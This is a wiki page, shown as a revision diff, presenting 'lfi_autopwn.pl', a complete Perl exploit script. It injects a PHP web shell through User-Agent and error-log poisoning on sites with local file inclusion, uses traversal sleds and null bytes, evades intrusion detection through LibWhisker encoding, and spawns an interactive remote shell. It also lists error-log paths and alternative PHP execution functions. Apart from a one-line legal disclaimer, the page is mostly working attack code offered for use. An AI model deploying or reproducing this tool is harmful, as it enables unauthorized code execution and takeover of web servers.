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Difference between revisions of "Lfi autopwn.pl"

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(Source)
(Description)
Line 3: Line 3:
  
 
==Description==
 
==Description==
 +
'''Features''':
 +
* Signature-free
 +
* Session Splicing
 +
* User-Agent and Log injection
 +
* Arithmetic Test
 +
 
This script will attempt to gain code execution on sites vulnerable to local [[File inclusion|file inclusion]] via an httpd error log or by modifying the user-agent and including a file containing environment variables.  The [[PHP|php]] code execution test is performed using an arithmetic challenge, and the script uses system() as its php execution function.  The fact that every part of this process is randomized including the math challenge prevents signature based detection while LibWhisker provides IDS Evasion.{{notice|It is possible that this script will not work on your intended target but tests positive for php execution.  In that case, changing your bash command execution function from system to one of many others is most likely to yield the desired results.}}{{protip|Make sure you've saved '''httpdlogs.conf''' to the same directory as '''lfi_autopwn.pl'''.}}
 
This script will attempt to gain code execution on sites vulnerable to local [[File inclusion|file inclusion]] via an httpd error log or by modifying the user-agent and including a file containing environment variables.  The [[PHP|php]] code execution test is performed using an arithmetic challenge, and the script uses system() as its php execution function.  The fact that every part of this process is randomized including the math challenge prevents signature based detection while LibWhisker provides IDS Evasion.{{notice|It is possible that this script will not work on your intended target but tests positive for php execution.  In that case, changing your bash command execution function from system to one of many others is most likely to yield the desired results.}}{{protip|Make sure you've saved '''httpdlogs.conf''' to the same directory as '''lfi_autopwn.pl'''.}}
  

Revision as of 20:39, 8 January 2012

Requirements

c3el4.png This perl script requires LibWhisker2 (bundled with nikto) for IDS Evasion and exploits local file inclusion, a form of web exploitation. All other libraries are standard.

Description

Features:

  • Signature-free
  • Session Splicing
  • User-Agent and Log injection
  • Arithmetic Test
This script will attempt to gain code execution on sites vulnerable to local file inclusion via an httpd error log or by modifying the user-agent and including a file containing environment variables. The php code execution test is performed using an arithmetic challenge, and the script uses system() as its php execution function. The fact that every part of this process is randomized including the math challenge prevents signature based detection while LibWhisker provides IDS Evasion.
Notice: It is possible that this script will not work on your intended target but tests positive for php execution. In that case, changing your bash command execution function from system to one of many others is most likely to yield the desired results.
Protip: Make sure you've saved httpdlogs.conf to the same directory as lfi_autopwn.pl.


httpdlogs.conf

c3el4.png The httpdlogs.conf file dictates filenames for possible error log locations.
If you know any filenames that aren't listed here, feel free to add them to your local copy. Files are simply separated by newline.
  • ./err.log
  • ./error_log
  • ./error.log
  • /etc/httpd/conf/logs/error_log
  • /etc/httpd/logs/error_log
  • /home/php5/logs/error_log
  • ../log/error_log
  • ../log/error.log
  • ../logs/error_log
  • ../logs/error.log
  • /proc/self/fd/2
  • /usr/local/apache2/log/error_log
  • /usr/local/apache2/logs/error_log
  • /usr/local/apache2/logs/error.log
  • /usr/local/apache/error.log
  • /usr/local/apache/log/error_log
  • /usr/local/apache/logs/error_log
  • /usr/local/apachessl/logs/dummy-host.example.com-error_log
  • /usr/local/apachessl/logs/error_log
  • /usr/local/httpd/log/error_log
  • /usr/local/httpd/logs/error_log
  • /usr/local/php/log/error_log
  • /var/log/apache2/error_log
  • /var/log/apache2/error.log
  • /var/log/apache/error_log
  • /var/log/httpd-error.log
  • /var/log/httpd/error_log
  • /var/log/nginx/error.log
  • /var/log/php-fcgi/error_log
  • /var/log/php-fpm/err.log

Other Execution/Interesting PHP Functions

passthru, leak, link, shell_exec, exec, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo => php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo

Source

RPU0j.png The end-user is liable for his-or her own actions with the use of this software. Running this against a system you do not own without written authorization is a criminal act.
#!/usr/bin/perl
use strict;
use Term::ANSIColor;
use Getopt::Std;
use LW2;
 
my %opts  = ();
getopts('h:u:i:', \%opts);
 
usage() unless($opts{u});
usage() unless($opts{h});
usage() unless($opts{i});
 
my $input = $opts{i};
my $url   = $opts{u};
my $host  = $opts{h};
 
my $var1  = generate_random_int();
my $var2  = generate_random_int();
my $total = $var1 + $var2;
 
my $open  = generate_random_string(4);
my $close = generate_random_string(8);
 
my $beginning   = generate_random_string(6);
my $ending      = generate_random_string(4);
my $shell       = '<?php echo("'.$beginning.'"); system($_GET[\'cmd\']); echo("'.$ending.'"); ?>';
my $sled        = "../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..";
my @logs        = `cat httpdlogs.conf`;
my $test        = '<?php $var = ' . $var1 . ' + ' . $var2 . '; echo("' . $open . '"); echo($var); echo("' . $close . '"); ?>';
 
# Test for /proc/self/environ && user_agent injection.
my $file = "/proc/self/environ";
test_matches($url,$test,$shell,$file);
 
my $lol_error   = download($test,$host,"wget/mozilla");
my $lol_shelled = download($shell,$host,"wget/Mozilla");
 
foreach my $log (@logs) {
    chomp($log);
    test_matches($url,"wget/mozilla","wget/mozilla",$log);
}
 
sub test_matches {
   my $url  = shift;
   my $test = shift;
   my $win  = shift;
   my $file = shift;   
 
   test_match($url,$test,$win,$file);
   test_match($url,$test,$win,"$sled$file");
   test_match($url,$test,$win,"$file%00");
   test_match($url,$test,$win,"$sled$file%00");
}
 
sub test_match {
    my $urn   = shift;
    my $use   = shift;
    my $win   = shift;
    my $match = shift;
    $urn =~ s/$input=[^\&\?\;]+/$input=$match/g;
 
    my ($l1,$l2,$l0) = test_rxe(download($urn,$host,$use));
    if ($l0 gt 0) {
        print color 'bold blue';
        print "\r[";
        print color 'reset';
        print "INFO";
        print color 'bold blue';
        print "]  ";
        print color 'red';
        print "Successful code execution on $urn\nSpawning shell...\n";
        print color 'reset';
        spawn_shell($urn,$win);
    }
}
 
sub spawn_shell {
    my $urk = shift;
    my $use = shift;
 
    my $username = parse_rxe(download($urk . "&cmd=whoami",$host,$use),$beginning,$ending);
    my $hostname = parse_rxe(download($urk . "&cmd=hostname",$host,$use),$beginning,$ending);
    chomp($username);
    chomp($hostname);
 
    while (1) {
        print color 'bold green';
        print "$username\@$hostname";
        print color 'bold blue';
        print " \$ ";
        print color 'reset';
        my $input = <>;
        $input =~ s/\ /%20/g;
        chomp($input);
        print parse_rxe(download($urk . "&cmd=$input",$host,$use),$beginning,$ending);
    }
}
 
sub parse_rxe {
    my $output  = shift;
    my $begin   = shift;
    my $end     = shift;
    my $mangler = generate_random_string(10);
    $output =~ s/\n/$mangler/g;
    $output =~ /$begin(.+)$end/g;
    my $ret = $1;
    $ret =~ s/$mangler/\n/g;
    return($ret);
}
 
sub test_rxe
{
    my $output = shift;
    if ($output =~ /$open(.*)$close/g) {
        my $test_data = $1;
        if ($test_data =~ /(.*)$total(.*)/g) {
            my $preslack  = $1;
            my $postslack = $2;
            return($preslack,$postslack,1);
        }
    }
    return (0,0,0);
}
 
sub download
{
    my $uri  = shift;
    my $try  = 5;
    my $host = shift;
    my $ua   = shift;
    my %request;
    my %response;
    LW2::http_init_request(\%request);
    $request{'whisker'}->{'method'} = "GET";
    $request{'whisker'}->{'host'} = $host;
    $request{'whisker'}->{'uri'} = $uri;
    $request{'whisker'}->{'encode_anti_ids'} = 9;
    $request{'User-Agent'} = $ua;
    LW2::http_fixup_request(\%request);
    if(LW2::http_do_request(\%request, \%response)) {
        if($try < 5) {
            print "Failed to fetch $uri on try $try. Retrying...\n";
            return undef if(!download($uri, $try++));
        }
        print "Failed to fetch $uri.\n";
        return undef;
    } else {
        return ($response{'whisker'}->{'data'});
    }
}
 
sub generate_random_string($)
{
 my $len = shift(@_);
 
 my @chars=('a'..'z','A'..'Z','0'..'9','_');
 my $string;
 for(my $i = 0; $i < $len; $i++)
 {
   $string.=$chars[rand(@chars)];
 }
 return $string;
}
 
sub usage()
{
    print "perl lfi_autopwn.pl -h [host] -i [vuln input] -u [uri]\n";
    exit(1);
}
 
sub generate_random_int()
{
	my $int = int(rand(500 - 100 + 1)) + 100;
	return $int;
}



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